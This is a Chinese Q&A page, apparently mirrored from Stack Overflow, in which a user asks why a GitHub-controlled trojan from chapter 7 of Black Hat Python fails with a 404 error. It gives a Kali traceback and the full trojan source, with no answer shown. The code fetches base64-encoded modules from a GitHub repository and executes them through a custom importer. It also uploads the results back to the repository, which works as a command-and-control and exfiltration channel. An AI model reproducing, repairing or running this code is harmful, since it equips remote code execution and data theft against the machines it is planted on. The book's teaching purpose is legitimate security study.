首页 > 解决方案 > 在制作木马时,我在黑帽python书的第7章收到错误“github3.exceptions.NotFoundError:404 Not Found”

问题描述

起初我认为这是连接 GitHub 的错误,但这似乎不是脚本,因为脚本的第一部分正常启动

上下文的完整输出

┌──(kali㉿kali)-[~/bhptrojan]
└─$ python3 git_trojan.py                                                                                                                                                                                                              130 ⨯
[*] Attempting to retrieve dirlister
[*] Attempting to retrieve environment
Traceback (most recent call last):
  File "<frozen importlib._bootstrap>", line 919, in _find_spec
AttributeError: 'GitImporter' object has no attribute 'find_spec'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kali/bhptrojan/git_trojan.py", line 93, in <module>
    trojan.run()
  File "/home/kali/bhptrojan/git_trojan.py", line 59, in run
    config = self.get_config()
  File "/home/kali/bhptrojan/git_trojan.py", line 41, in get_config
    exec("import %s" % task['module'])
  File "<string>", line 1, in <module>
  File "<frozen importlib._bootstrap>", line 1007, in _find_and_load
  File "<frozen importlib._bootstrap>", line 982, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 921, in _find_spec
  File "<frozen importlib._bootstrap>", line 895, in _find_spec_legacy
  File "/home/kali/bhptrojan/git_trojan.py", line 74, in find_module
    new_library = get_file_contents('modules', f'{name}.py', self.repo)
  File "/home/kali/bhptrojan/git_trojan.py", line 23, in get_file_contents
    return repo.file_contents(f'{dirname}/{module_name}').content
  File "/home/kali/.local/lib/python3.9/site-packages/github3/repos/repo.py", line 1672, in file_contents
    json = self._json(self._get(url, params={"ref": ref}), 200)
  File "/home/kali/.local/lib/python3.9/site-packages/github3/models.py", line 155, in _json
    raise exceptions.error_for(response)
github3.exceptions.NotFoundError: 404 Not Found

如上所示,我还遇到了一些其他错误,但我认为它们都来自我提到的错误,但我不确定。

完整代码在这里。

import base64
import github3
import importlib
import json
import random
import sys
import threading
import time

from datetime import datetime

def github_connect():
    with open ('mytoken.txt') as f:
        token = f.read()
    user = 'Sebthelad'
    sess = github3.login(token=token)
    return sess.repository(user, 'bhptrojan')          


def get_file_contents(dirname, module_name, repo):
    return repo.file_contents(f'{dirname}/{module_name}').content


class Trojan:
    def __init__(self,id):
        self.id = id
        self.config_file = f'{id}.json'

        self.data_path = f'data/{id}/'

        self.repo = github_connect()
    
    def get_config(self):
        config_json = get_file_contents('config', self.config_file, self.repo)
        config = json.loads(base64.b64decode(config_json))

        for task in config:
            if task['module'] not in sys.modules:
                exec("import %s" % task['module'])
        
        return config

    def module_runner(self, module):
        result = sys.modules[module].run()
        self.store_module_result(result)
    
    def store_module_result(self, data):
        message = datetime.now().isoformat()
        remote_path = f'data/{self.id}/{message}.data'
        bindata = bytes('%r' % data, 'utf-8')
        self.repo.create_file(remote_path,message,base64.b64decode(bindata))

    def run(self):
        while True:


            config = self.get_config()
            for task in config:
                thread = threading.Thread(target=self.module_runner,args=(task['module'],))
                thread.start()
                time.sleep(random.randint(1,10))
        time.sleep(random.randint(30*60, 3*60*60)) 

class GitImporter:
    def __init__(self):
        self.current_module_code = ""

    def find_module(self, name, path=None):
        print("[*] Attempting to retrieve %s" % name)
        self.repo = github_connect()

        new_library = get_file_contents('modules', f'{name}.py', self.repo)

        if new_library is not None:
            self.current_module_code = base64.b64decode(new_library)
            return self    
    
    def load_module(self,name):
        spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)

        new_module = importlib.util.module_from_spec(spec)
        exec(self.current_module_code, new_module.__dict__)

        sys.modules[spec.name] = new_module
        return new_module


if __name__ == '__main__':
    sys.meta_path.append(GitImporter())
    trojan = Trojan('abc')
    trojan.run()

提前致谢。

PS:如果您在我的代码中发现任何其他问题,请告诉我。

标签: pythongithubtrojan

解决方案


推荐阅读